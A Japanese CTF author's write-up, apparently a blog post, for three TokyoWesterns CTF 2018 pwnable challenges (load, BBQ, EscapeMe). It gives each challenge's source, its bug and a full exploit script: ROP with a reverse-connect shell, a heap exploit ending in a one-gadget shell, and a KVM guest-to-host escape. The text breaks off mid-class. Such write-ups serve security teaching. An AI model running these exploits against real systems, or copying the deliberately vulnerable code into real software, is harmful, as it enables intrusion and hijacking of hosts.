つれづれなる備忘録

CTF関連の事やその他諸々

TokyoWesterns CTF 4th 2018 Pwnable 作問 (load, BBQ, EscapeMe)

TokyoWesterns CTF,なんとか今年も無事に開催できました.
実は運営ではいろいろと炎上していたのですが,それは置いておいて私が作問した3問について軽く解説をしていきます.


load (Pwnable 208)

host : pwn1.chal.ctf.westerns.tokyo
port : 34835

load

warmup として出したのですが,初心者向けではなかったですね
すみません...

ソースコード

// gcc -Wl,-z,relro,-z,now -fno-stack-protector load.c -o load && strip load

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

#define BUF_SIZE 32

void initialize(void);
void finalize(void);
void load(char *buf, char *fname, off_t offset, size_t size);
void getnline(char *buf, int size);
int getint(void);

char fname[0x80];

int main(void){
        char buf[BUF_SIZE];
        off_t offset;
        size_t size;

        initialize();

        __printf_chk(1, "Load file Service\nInput file name: ");
        getnline(fname, sizeof(fname));

        __printf_chk(1, "Input offset: ");
        offset = getint();
        __printf_chk(1, "Input size: ");
        size = getint();

        load(buf, fname, offset, size);

        finalize();

        return 0;
}

void initialize(void){
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);
}

void finalize(void){
        close(STDIN_FILENO);
        close(STDOUT_FILENO);
        close(STDERR_FILENO);
}

void load(char *buf, char *fname, off_t offset, size_t size){
        int fd;

        if((fd = open(fname, O_RDONLY)) == -1){
                puts("You can't read this file...");
                return;
        }

        lseek(fd, offset, SEEK_SET);
        if(read(fd, buf, size) > 0)
                puts("Load file complete!");

        close(fd);
}

void getnline(char *buf, int size){
        char *lf;

        if(size < 0)
                return;

        fgets(buf, size, stdin);
        if((lf=strchr(buf,'\n')))
                *lf='\0';
}

int getint(void){
        char buf[BUF_SIZE];

        buf[0] = 0x00;
        getnline(buf, sizeof(buf));
        return atoi(buf);
}

解説 および 解法

任意のファイルを開いて,メモリ上にロードすることのできるプログラムです.
スタックは32バイトしか確保していないにもかかわらず,そこに指定したサイズだけ読み込むためスタックバッファオーバーフローが発生します. また,Canaryも無効にしているため ROP に繋げられそうです.
ただし,これが発火するのは 標準入出力およびエラー出力が切られた後なので,単純に flag.txt を読み込んで出力することはできなさそうです.

ROPをするにあたって,こちらの入力をメモリ上に展開しないことには何もできません. ですので,読み込むファイルとしては /proc/self/fd/0 あたりを指定してやれば良いでしょう.

ROPができるようになったら,ファイルを読み込んでこちら側に表示させることを目指します.
先にも述べたように,出力周りはすべて閉じられてしまっているため,サーバ側から改めて手前側に接続をしてやる必要があります. ソケット系の関数は用意されていないので,シェルコードでそれを実現します.

どのようにしてシェルコード実行まで持っていくかというと,結論としては /proc/self/mem を利用します. このファイルを利用すると,writableでないページに対しても書き込むことが可能になります. executableなページにシェルコードを書き込み,実行を移せば目標は達成です.

ただし,残念なことに write 関数が plt の中にないため,開いた fd を指定して書き込むことができません. その代わり,出力系の関数としては puts や printf があるため,/proc/self/mapfd==1 で開いてやれば stdout の先として出力されそうです.
さすがに ASLR は有効なので,スタックに置いたデータを出力してテキスト領域に書き込むのは難しそうです.
ファイル名は固定アドレスに書き込まれるので,はじめの入力時にシェルコードも与えればよいでしょう.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './load'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'pwn1.chal.ctf.westerns.tokyo', 'port':34835})
env.set_item('local',   debug   = {'host':'localhost', 'port':4296}, \
                        local   = {'host':'localhost', 'port':4296}, \
                        remote  = {'host':'localhost', 'port':4296})
env.select()

#==========

binf = ELF(bin_file)
addr_bss            = binf.sep_section['.bss']
addr_fname          = addr_bss + 0x20
addr_buf            = addr_bss + 0x100

addr_plt_open       = binf.plt['open']
addr_plt_printf     = binf.plt['__printf_chk']
addr_got_lseek      = binf.got['lseek']

addr_csu_init       = 0x00400a10
addr_csu_init_1     = addr_csu_init + 0x5a
addr_csu_init_2     = addr_csu_init + 0x40

addr_ret            = 0x004006a9
addr_pop_rdi        = 0x00400a73
addr_pop_rsi_r15    = 0x00400a71

addr_shellcode      = 0x00400b00

#==========

def attack(conn, pconn):
    shellcode2  = shellcraft.dup2(2, 0)
    shellcode2 += shellcraft.dup2(2, 1)
    shellcode2 += shellcraft.sh()
    shellcode2  = '\x01'+asm(shellcode2)

    shellcode  = shellcraft.connect(env.local['host'], env.local['port'])
    shellcode += shellcraft.read(2, addr_buf, len(shellcode2))
    shellcode += shellcraft.write(1, addr_buf, None)

    fname  = '/proc/self/fd/0\x00'
    fname += '/proc/self/mem\x00'
    fname += asm(shellcode)
    conn.sendlineafter('name: ', fname)
    conn.sendlineafter('offset: ', '0')

    exploit  = 'a'*0x30
    exploit += p64(0xdeadbeef) 

    exploit += p64(addr_pop_rdi)
    exploit += p64(addr_fname + 0x10)
    exploit += p64(addr_pop_rsi_r15)
    exploit += p64(1)
    exploit += p64(0xcafebabe) 
    exploit += p64(addr_plt_open)
    exploit += p64(addr_plt_open)

    exploit += p64(addr_csu_init_1)
    exploit += p64(0)
    exploit += p64(1)
    exploit += p64(addr_got_lseek)
    exploit += p64(0)
    exploit += p64(addr_shellcode)
    exploit += p64(1)
    exploit += p64(addr_csu_init_2)

    exploit += p64(0xcafebabe)*7

    exploit += p64(addr_pop_rdi)
    exploit += p64(1)
    exploit += p64(addr_pop_rsi_r15)
    exploit += p64(addr_fname + 0x1f)
    exploit += p64(0xcafebabe) 
    exploit += p64(addr_plt_printf)
    exploit += p64(addr_shellcode)

    conn.sendlineafter('size: ', str(len(exploit)))
    conn.send(exploit)

    pconn.wait_for_connection()
    pconn.send(shellcode2)

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    pcon = listen(4296)
    attack(conn, pcon)
    pcon.interactive()
    
#==========

実行結果です

~/CTF/TWCTF/2018/load$ ./exploit_load.py                                                                 
Select Environment
['debug', 'remote', 'local'] ...r
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/TWCTF/2018/load/load'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 34835: Done
[+] Trying to bind to 0.0.0.0 on port 4296: Done
[+] Waiting for connections on 0.0.0.0:4296: Got connection from 127.0.0.1 on port 33970
[*] Switching to interactive mode
$ ls -al
total 36
drwxr-x---  2 root load 4096 Aug 29 00:32 .
drwxr-xr-x 15 root root 4096 Sep  2 17:03 ..
-rw-r-----  1 root load  220 Aug 31  2015 .bash_logout
-rw-r-----  1 root load 3771 Aug 31  2015 .bashrc
-rw-r-----  1 root load  655 May 16  2017 .profile
-rw-r-----  1 root load   33 Aug 28 10:10 flag.txt
-rwxr-x---  1 root load 6136 Aug 28 10:10 load
-rwxr-x---  1 root load   53 Aug 29 00:29 run.sh
$ cat flag.txt
TWCTF{pr0cf5_15_h1ghly_fl3x1bl3}

BBQ (Pwnable 447+90)

host : pwn1.chal.ctf.westerns.tokyo
port : 21638

Update(2018/09/02 11:55:00 UTC)
BBQ
BBQ.old
libc-2.23.so

やっちまったで賞,受賞不可避
サーバで動作してる本番バイナリよりも古いものを間違えて配布してしまった...

これに時間を費やした方が居たら申し訳ない

ソースコード

// gcc -Wl,-z,relro,-z,now -fPIE -pie BBQ.c -o BBQ && strip BBQ

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE   0x40
#define LIMIT_GRILL 8

#define MAGIC_COOKING  0xdeadbeef11
#define MAGIC_CHARCOAL 0x0badf00d22
#define MAGIC_EATEN        0xcafebabe33

struct stock {
    struct stock *next;
    unsigned amount;
    char *name;
} *stock_top = NULL;

struct cook {
    struct stock *food;
    unsigned progress;
    long magic;
} *cooking[6];

void initialize(void);
int menu(void);

void buy(void);
void grill(void);
void eat(void);

void add_stock(char *name, int n);
void list_stock(void);
void list_cooking(void);
void progress_grill(void);

void getnline(char *buf, int size);
int getint(void);

int main(void){
    unsigned long select;

    initialize();

    puts("Today is BBQ Party!");

    while(1){
        progress_grill();
        select = menu();
        switch(select % 0x10){
            case 1:
                buy();
                break;
            case 2:
                grill();
                break;
            case 3:
                eat();
                break;
            case 0:
                goto end;
            default:
                puts("Wrong input.");
        }
    }

end:
    puts("Bye!");
    return 0;
}

void initialize(void){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    add_stock("Beef", 1);
}

int menu(void){
    printf( "\n"
        "1. Buy\n"
        "2. Grill\n"
        "3. Eat\n"
        "0. Break up\n"
        "Choice: ");

    return getint();
}

void buy(void){
    int n;
    char buf[BUF_SIZE];

    list_stock();
    printf("food name >> ");
    getnline(buf, sizeof(buf));
    printf("amount >> ");
    n = getint();

    add_stock(buf, n);
}

void grill(void){
    struct stock *s;
    struct cook *c;
    int idx;
    char buf[BUF_SIZE];

    list_stock();
    list_cooking();

    printf("which food >> ");
    getnline(buf, sizeof(buf));

    for(s = stock_top; s; s = s->next) {
        if(s->name && !strcmp(buf, s->name))
            break;
    }

    if(!s || s->amount<1){
        puts("Not found...");
        return;
    }

    printf("griddle index >> ");
    idx = getint();
    if(idx < 0 || idx >= sizeof(cooking)/sizeof(struct cook*)){
        puts("There is no griddle!");
        return;
    }
    if(cooking[idx]){
        puts("now cooking...");
        return;
    }

    c = (struct cook*)malloc(sizeof(struct cook));
    c->food = s;
    s->amount--;
    c->magic = MAGIC_COOKING;
    c->progress = 0;
    cooking[idx] = c;
}

void eat(void){
    int idx;
    struct cook *c;
    char _[0x10];

    list_cooking();
    printf("griddle index >> ");
    idx = getint();
    if(idx < 0 || idx >= sizeof(cooking)/sizeof(struct cook*)){
        puts("There is no griddle!");
        return;
    }

    if(cooking[idx]){
        c = cooking[idx];
        puts("found food.");
    }
    else 
        puts("empty...");

    if(!c)    return;

    switch(c->magic){
        case MAGIC_COOKING:
            c->magic = MAGIC_EATEN;
            free(c);
            puts("Yummy!");
            cooking[idx] = NULL;
            break;
        case MAGIC_CHARCOAL:
            puts("I don't want to eat charcoal...");
            break;
    }
}

void add_stock(char *name, int n){
    struct stock *p;

    if(n < 1){
        puts("b.u..y...???");
        return;
    }

    for(p = stock_top; p; p = p->next) {
        if(p->name && !strcmp(name, p->name))
            break;
    }

    if(!p){
        p = (struct stock*)malloc(sizeof(struct stock));
        if(!p)
            exit(1);

        p->name = strdup(name);
        p->amount = 0;
        p->next = stock_top;
        stock_top = p;
    }

    p->amount += n;
}

void list_stock(void){
    struct stock *p;

    puts("\nFood Stock List");
    for(p = stock_top; p; p = p->next)
        printf("* %s (%u)\n", p->name, p->amount);
}

void list_cooking(void){
    int i;

    puts("\nCooking List");
    for(i = 0; i < sizeof(cooking)/sizeof(struct cook*); i++)
        printf("[%02d] %s\n", i, cooking[i] ? cooking[i]->magic == MAGIC_COOKING  ?  cooking[i]->food->name : "<CHARCOAL>" : "<FREE>");
}

void progress_grill(void){
    int i;

    for(i = 0; i < sizeof(cooking)/sizeof(struct cook*); i++){
        struct cook *c = cooking[i];
        if(c && ++c->progress == LIMIT_GRILL)
            c->magic = MAGIC_CHARCOAL;
    }
}

void getnline(char *buf, int size){
    char *lf;

    if(size < 0)
        return;

    fgets(buf, size, stdin);
    if((lf=strchr(buf,'\n')))
        *lf='\0';
}

int getint(void){
    char buf[BUF_SIZE];

    buf[0] = 0x00;
    getnline(buf, sizeof(buf));
    return atoi(buf);
}

肉を焼きます

古いバイナリには There is no griddle! の OOB check が存在していませんでした.
解き方は多分変わらないんですけどね.

解説 および 解法

eat関数には未初期化バグが存在します.

 struct cook *c;

    if(cooking[idx]){
        c = cooking[idx];
        puts("found food.");
    }
    else 
        puts("empty...");

    if(!c)    return;

    switch(c->magic){
        case MAGIC_COOKING:
            c->magic = MAGIC_EATEN;
            free(c);

struct cookのポインタの配列が存在しないインデックスを指定したとしても,スタック上に何らかのポインタが残っていれば,if文でのreturnは行われず,そのままswitch文に処理が流れます. したがって,うまいことmagicの位置に適切な値が入っていればその領域を free することができます.

重複したチャンクを確保すれば,struct stock の name ポインタを改竄することで任意のアドレスに格納されている値を表示させることができます.
これを利用して,ヒープのリスト構造からヒープのアドレスと libc のアドレスを特定します. libc内の environ を読み出すことで,stackのアドレスも特定する事ができます.

リターンアドレスを One-gadger-RCE に書き換えることによってシェルが奪取できます.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py
import re

bin_file = './BBQ'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'localhost', 'port':21638})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = None)
env.select()

#==========

binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_malloc_hook = libc.symbols['__malloc_hook']
offset_libc_mainarena   = offset_libc_malloc_hook + 0x10
#offset_libc_leave       = 0x00042351

#==========

def attack(conn):
    bbq = BBQ(conn)

    bbq.buy('Beef', 10)

    bbq.buy('A'*0x20, 1)
    bbq.buy('B'*0x10, 1)

    bbq.buy('X'*0x10+p64(0xdeadbeef11), 1)

    bbq.buy(p64(0xdeadbeef11), 0x91)
    bbq.grill('Beef', 0)
    bbq.grill('Beef', 1)
    bbq.grill('Beef', 2)
    bbq.eat(0)

    bbq.grill('_'*0x27)
    bbq.eat(0)  #

    stock, _ = bbq.list()
    addr_heap_base  = u(stock[1]) - 0x150
    info('addr_heap_base    = 0x{:08x}'.format(addr_heap_base))

    bbq.grill('_'*0x28+p64(addr_heap_base + 0x130))
    bbq.eat(0)  # cosolidate to top, malloc_consolidate

    stock, _ = bbq.list()
    addr_libc_mainarena  = u(stock[1]) - 0x58
    libc.address = addr_libc_mainarena - offset_libc_mainarena
    addr_libc_environ   = libc.symbols['environ']
    #addr_libc_leave     = libc.address + offset_libc_leave
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))

    bbq.grill('Beef', 4)
    bbq.grill('Beef', 3)
    bbq.eat(4)
    bbq.buy(p64(addr_libc_environ), 1)

    stock, _ = bbq.list()
    addr_stack  = u(stock[1]) - 0xf8
    info('addr_stack        = 0x{:08x}'.format(addr_stack))

    # clean up
    bbq.buy('C'*0x40, 1)

    bbq.buy(p64(0xdeadbeef11), 0x1b1)
    bbq.grill('Beef', 4)
    bbq.grill('Beef', 5)
    bbq.buy('1'*0x10+p64(0xdeadbeef11), 1)    # 1
    bbq.buy('2'*0x10+p64(0xdeadbeef11), 1)    # 2
    bbq.buy('3'*0x10+p64(0xdeadbeef11), 1)    # 3
    bbq.buy('4'*0x10+p64(0xdeadbeef11), 1)    # 4
    bbq.eat(4)
    bbq.grill('Beef', 4)
    bbq.eat(5)
    bbq.grill('Beef', 5)
    bbq.buy('5'*0x10+p64(0xdeadbeef11), 1)    # 5

    bbq.grill('_'*0x28+p64(addr_heap_base + 0x1d0))
    bbq.eat(0)  # cosolidate to top

    bbq.eat(5)
    bbq.eat(4)
    bbq.buy(p64(0xdeadbeef11), 1)
    bbq.buy('X'*0x10+p64(addr_heap_base + 0x10), 1)

    free_chunk(bbq, addr_heap_base + 0x260)         # 1
    bbq.buy(p64(addr_heap_base + 0x10), 1)          # any address

    free_chunk(bbq, addr_heap_base + 0x2a0)         # 2
    bbq.buy(p64(0xdeadbeef11), 1)

    # overwrap
    free_chunk(bbq, addr_heap_base + 0x210)
    free_chunk(bbq, addr_heap_base + 0x220)

    free_chunk(bbq, addr_heap_base + 0x2e0)         # 3
    bbq.buy(p64(0xdeadbeef11), 1)

    free_chunk(bbq, addr_heap_base + 0x320)         # 4
    free_chunk(bbq, addr_heap_base + 0x210)

    free_chunk(bbq, addr_heap_base + 0x360)         # 5

    bbq.buy(p64(addr_stack - 0x10), 1)
    bbq.grill('Beef', 4)

    conn.sendlineafter('Choice: ', str(0x21))
    conn.sendlineafter('name >> ', p(-1) + p64(libc.address + 0xf1147))
    conn.sendlineafter('amount >> ', str(1))

    conn.sendlineafter('Choice: ', '0')

def free_chunk(bbq, addr):
    bbq.grill('_'*0x28+p64(addr))
    bbq.eat(0)

class BBQ:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def buy(self, name, amount):
        self.sendlineafter('Choice: ', '1')
        if len(name) < 0x3f:
            name += '\n'
        self.sendafter('name >> ', name[:0x3f])
        self.sendlineafter('amount >> ', str(amount))

    def grill(self, name, index = None):
        self.sendlineafter('Choice: ', '2')
        if len(name) < 0x3f:
            name += '\n'
        self.sendafter('food >> ', name[:0x3f])
        if index is not None:
            self.sendlineafter('index >> ', str(index))

    def eat(self, index):
        self.sendlineafter('Choice: ', '3')
        self.sendlineafter('index >> ', str(index))

    def list(self):
        self.sendlineafter('Choice: ', '2')
        self.recvuntil('Food Stock List\n')
        stock = re.findall('\* (.*) ', self.recvuntil('\n\nCooking List'))
        cook  = re.findall('^\[[0-9]+\] (.*)\n', self.recvuntil('\nwhich food >> '))
        self.sendline('')
        return stock, cook

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()
    
#==========

実行結果です.

~/CTF/TWCTF/2018/BBQ$ ./exploit_bbq.py                                                                   
Select Environment
['debug', 'remote', 'local'] ...r
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/TWCTF/2018/BBQ/BBQ'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 21638: Done
[*] addr_heap_base    = 0x5592f3328000
[*] addr_libc_base    = 0x7f29dc36a000
[*] addr_stack        = 0x7ffcf562d0b0
[*] Switching to interactive mode
Bye!
$ ls -al
total 36
drwxr-x---  2 root bbq   4096 Aug 28 10:10 .
drwxr-xr-x 15 root root  4096 Sep  2 17:03 ..
-rw-r-----  1 root bbq    220 Aug 31  2015 .bash_logout
-rw-r-----  1 root bbq   3771 Aug 31  2015 .bashrc
-rw-r-----  1 root bbq    655 May 16  2017 .profile
-rwxr-x---  1 root bbq  10232 Aug 28 10:10 BBQ
-rw-r-----  1 root bbq     39 Aug 28 10:10 flag.txt
$ cat flag.txt
TWCTF{b3_5ur3_70_1n1714l1z3_v4r14bl35}

EscapeMe (Pwnable 240+300+300)

host : escapeme.chal.ctf.westerns.tokyo
port : 16359

EscapeMe.tar.gz

Update(2018-09-01 10:22 UTC):
$ uname -a
Linux pwnable-escapeme 4.15.0-1017-gcp #18-Ubuntu SMP Fri Aug 10 10:13:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic

Update(2018-09-01 10:30 UTC):
Hint for flag2: check carefully how physical memory of kernel managed.

ソースコード

長すぎる(5,300行越え)ので,こちらを参照してください. github.com

解説 および 解法

この問題は,kvm を利用する VMM,,小さなカーネル,ユーザプログラムの3つからなるものです.
フラグも3つあり,それぞれ突破度合いに応じて得られます.

flag1

一つ目のフラグは,ユーザプログラムを突破して任意のシステムコールが呼べるようになることが条件です.
kernel.binを解析すると8つのシステムコールが提供されていることが分かります. その中でも,4296番のシステムコールを呼び出すとユーザ空間にフラグが含まれるページがマッピングされます.

ユーザプログラムにはヒープオーバーフローのバグがあります.
edit機能では,メモの更新にその長さをstrlenを使って得ています. したがって,次のチャンクのサイズの先頭ギリギリまで文字を埋めてやることで,editでチャンクサイズの改竄が可能になります.

自由にシステムコールを呼ぶために,シェルコードの実行を考えます.
一見NXが有効なELFのため,スタックやヒープに置いたシェルコードは実行できないように思われます. しかしそれはlinux上で適切にロードした場合であり,本問題の kernel上ではその処理が適切に行われていません.
また,ASLRも存在しないため,ヒープやスタックのアドレスも毎回同じものになります.

したがって,ヒープ上にシェルコードを配置し,リターンアドレスを書き換えて処理を飛ばしてやれば良さそうです.

flag2

flag2.txt は同一ディレクトリに存在しているため,初めのmodulesを取り込む処理でこのファイルを指定しておきましょう.
kernelからは hc_load_module を発行してVMMにモジュールのロードを依頼すれば良さそうです.

しかしこの処理はユーザからは自由に行うことはできません. そこで,ring0を獲得することを考えます.
バグは,カーネルの物理メモリを管理する VMM 側とのやりとりに存在します. カーネルhc_malloc もしくは hc_free を呼び出すと,VMM側では palloc および pfree が呼び出されることになります.
このABIの利用について不一致が存在しています.

カーネル側はあたかも mmap や munmap のようにいずれもサイズを指定して,確保した領域の一部のみ解放のような処理を行います. しかし,VMM側の pfree はサイズは見ておらず,あたかも malloc に対する free のように指定された領域の解放を一気に行ってしまいます. これにより,kernel では物理メモリの UAF が起こります.

該当する物理メモリが再度利用された先がページテーブルの一部になるように調整を行います.
その結果,ユーザの入力がそのままページテーブルに反映されることになり,自由に物理メモリをユーザの領域にマッピングすることが可能になります. システムコールハンドラの領域を上書きし,syscall を呼んだ際に ring0 で自身の書いたコードが実行されるようにしましょう.

void switch_ring0(void){
    void *addr;
    uint64_t *pd, *pt;

    puts("Try to switch ring0");

    addr = mmap((void*)0x80000000, 0x3000, PROT_READ|PROT_WRITE, 0, -1, 0);
    munmap(addr, 0x1000);
    mmap((void*)0xc0000000, 0x1000, PROT_READ|PROT_WRITE, 0, -1, 0);

    pd = addr + 0x1000;
    pt = addr + 0x2000;

    for(int i = 0; i<2; i++) // pd[0]
        pt[i] = PDE64_PRESENT | PDE64_RW | PDE64_USER | (0x1000*i);
    for(int i = 0; i<3; i++)
        pd[8+i] = PDE64_PRESENT | PDE64_RW | PDE64_PS | (0x400000 + 0x200000*i);

    memcpy((void*)(0xc0000000 + OFST_SYS_HANDLER), &syscall_handler, 0x800);

    asm("syscall");
}

ring0になった状態で hc_load_moduleを発行し,モジュールとしてロードしたフラグを物理メモリ空間に貼りつければ,あとはそれを読み出すだけです.

flag3

flag3はファイル名が分からないため,モジュールとしてロードすることはできません. 今回はシェルを奪取する必要があるでしょう.

VM内の入出力は vmmcall で実装されていますが,この時のメモリに対するアクセス権限のチェックはVMM側で行われています.
ゲストの仮想アドレスからゲストの物理アドレスに変換を行うために,アクセスごとにページウォークを行います. この時,ページテーブルのフラグから読み書きおよびユーザ・カーネルモードのチェックを行い,最終的に変換された物理アドレスが確保した範疇に収まっているか確認します.
しかし,この範囲チェックの処理は2MBページに対しては行われていないというバグが存在しています. 2MB ページはカーネルモード時にしか許可されていませんが,flag2 を獲得するときのように ring0 で実行していればこのバグを利用することができます.

uint64_t translate(struct vm *vm, uint64_t pml4_addr, uint64_t laddr, int write, int user){
    uint16_t idx[]  = { (laddr>>39) & 0x1ff, (laddr>>30) & 0x1ff, (laddr>>21) & 0x1ff, (laddr>>12) & 0x1ff };
    uint64_t paddr = -1;

    uint64_t *pml4 = guest2host(vm, pml4_addr);

    uint64_t pdpt_addr     = pml4[idx[0]] & ~0xfff;
    if(!CHK_PERMISSION(pml4[idx[0]]))
        goto end;
    uint64_t *pdpt = guest2host(vm, pdpt_addr);

    uint64_t pd_addr   = pdpt[idx[1]] & ~0xfff;
    if(!CHK_PERMISSION(pdpt[idx[1]]))
        goto end;
    uint64_t *pd   = guest2host(vm, pd_addr);

    uint64_t pt_addr   = pd[idx[2]] & ~0xfff;
    if(!CHK_PERMISSION(pd[idx[2]]))
        goto end;
    if(pd[idx[2]] & PDE64_PS){
        if(pd[idx[2]] & PDE64_USER)  // user does not support hugepage
            goto end;

        paddr = pt_addr | (laddr&0x1fffff);
        goto end; // vuln
    }

    uint64_t *pt   = guest2host(vm, pt_addr);
    if(!CHK_PERMISSION(pt[idx[3]]))
        goto end;

    paddr = (pt[idx[3]] & ~0xfff) | (laddr&0xfff);
    assert_addr(vm, paddr);
end:
    return paddr;
}

先程と同様にしてページテーブルを改竄し,始めに確保されているサイズよりも大きい物理アドレスを指定することで,read/writeのハイパーコールを利用してVM外のメモリを読み書きすることが可能になりました.
幸いにして(?) libc が VM のメモリの直下に確保されているため,ASLRに左右されること無く固定オフセットで libc 内のデータにアクセスできます.

main_arena から libc およびヒープのアドレスを特定し,free_hookにsystem関数を指定します.
ヒープはVMの物理ページの管理のみに利用されていますが,先程の方法で一部に /bin/sh を書き込んでその領域を free することでシェルが起動します.

SECCOMPもありますが,あれはオマケ程度なので引数の数を0x100以上にして適当に突破してください.

Exploit

exploit.py

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py
from os import chdir, path

bin_file = './kvm.elf'
args     = 'kernel.bin memo-static.elf flag2.txt'.split()+['a']*0x100
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file]+args, 'aslr':False}, \
                        local   = {'argv':['./pow.py', 'hoge'], 'stderr':open('/dev/null', 'w+')}, \
                        remote  = {'host':'localhost', 'port':16359})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.27.so')
env.select()

libcenv = Environment('old', 'new')
libcenv.set_item('arena_top', old = 0x58,  new = 0x60)

#==========

payload_elf = open('exploit.elf').read()

chdir('./release')
binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_freehook    = libc.symbols['__free_hook']
offset_libc_malloc_hook = libc.symbols['__malloc_hook']
offset_libc_mainarena   = offset_libc_malloc_hook + 0x10

libc_name = path.basename(path.realpath(libc.path))
libcenv.select('new' if float(libc_name[5:5+4]) >= 2.27 else 'old')
offset_mainarena_top    = libcenv.arena_top

vm_binf = ELF(args[1])
addr_vm_memo        = vm_binf.symbols['memo']
addr_vm_heap        = 0x605000
addr_vm_memo_buf    = 0x7fff1ff000
addr_vm_stack       = 0x7ffffffff0

#==========

def attack(conn):
    if not env.check('debug'):
        if env.check('local'):
            conn.sendlineafter('\n', 'hoge')
        else:
            solve_pow(conn)
        conn.sendlineafter('> ', 'flag2.txt'+' a'*0x100)

    exploit_memo(conn, payload_elf, 0x150)

    flag1 = get_flag1(conn)
    success("flag1 : {}".format(flag1))

    flag2 = get_flag2(conn)
    success("flag2 : {}".format(flag2))

    get_shell(conn)

def solve_pow(conn):
    import subprocess

    cmd = conn.recvuntil('\n', drop=True)
    info(cmd)

    ret = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True).communicate()[0].strip()
    success('hash : {}'.format(ret))
    conn.sendline(ret)

def get_flag1(conn):
    conn.recvuntil('first flag : ')
    return conn.recvuntil('\n')

def get_flag2(conn):
    conn.recvuntil('ring0\n')
    return conn.recv(0x50).strip("\x00").split(' : ')[1]

def get_shell(conn):
    conn.send(p64(offset_libc_mainarena))
    conn.send(p64(offset_libc_freehook))

    conn.send(p64(offset_mainarena_top))

    addr_heap_top = u64(conn.recv(8))
    info('addr_heap_top     = 0x{:08x}'.format(addr_heap_top))

    conn.recv(8)

    addr_libc_mainarena = u64(conn.recv(8)) - offset_mainarena_top
    libc.address        = addr_libc_mainarena - offset_libc_mainarena
    addr_libc_system    = libc.sep_function['system']
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))

    addr_vmmem          = libc.address - 0x400000
    info('addr_vmmem        = 0x{:08x}'.format(addr_vmmem))

    conn.send(p64(addr_libc_system))
    conn.send(p64(u(p((addr_heap_top - addr_vmmem) & ~0xfffff)) | 0x83))
    conn.send(p64(((addr_heap_top - addr_vmmem) & 0xfffff) - 0x30))
    conn.send('/bin/sh\x00')

    conn.interactive()

def exploit_memo(conn, payload, ep):
    payload_size = 0x2000

    shellcode2  = shellcraft.mmap_rwx(payload_size)
    shellcode2 += shellcraft.read(0, 'rax', payload_size)
    shellcode2 += '''
    add rsi, {}
    jmp rsi
    '''.format(ep)
    shellcode2  = asm(shellcode2)

    shellcode1  = 'lea rsi, [rip]'
    shellcode1 += shellcraft.read(0, None, len(shellcode2)+0x10)
    shellcode1  = asm(shellcode1)

    memo = Memo(conn)

    memo.alloc('a'*0x28)            # 0
    memo.alloc('b')                 # 1
    memo.alloc('c'*0x8+p64(0x31)+p64(addr_vm_memo_buf+0x10-8)+p64(addr_vm_memo_buf+0x10))   # 2
    memo.alloc(p64(0x30)+p64(0x20)) # 3
    memo.alloc(shellcode1)          # 4
    memo.alloc(p64(0xdeadbeef)+p64(0)+p64(addr_vm_stack-0x8)+p64(0))                        # 5

    memo.edit(0, 'A'*0x28+chr(0x41))
    memo.delete(1)

    memo.alloc('b')                 # 1
    memo.edit(2, p64(addr_vm_memo+1)[:len(p64(addr_vm_heap).rstrip('\x00'))])
    sleep(0.1)
    memo.edit(1, p64(addr_vm_heap + 0x1100)[1:len(p64(addr_vm_memo_buf).rstrip('\x00'))])
    sleep(0.1)
    memo.edit(2, p64(addr_vm_heap + 0x10e0))

    sleep(0.1)
    conn.send('\x90'*0x10 + shellcode2)
    sleep(0.5)
    conn.send(payload)
    
class Memo:
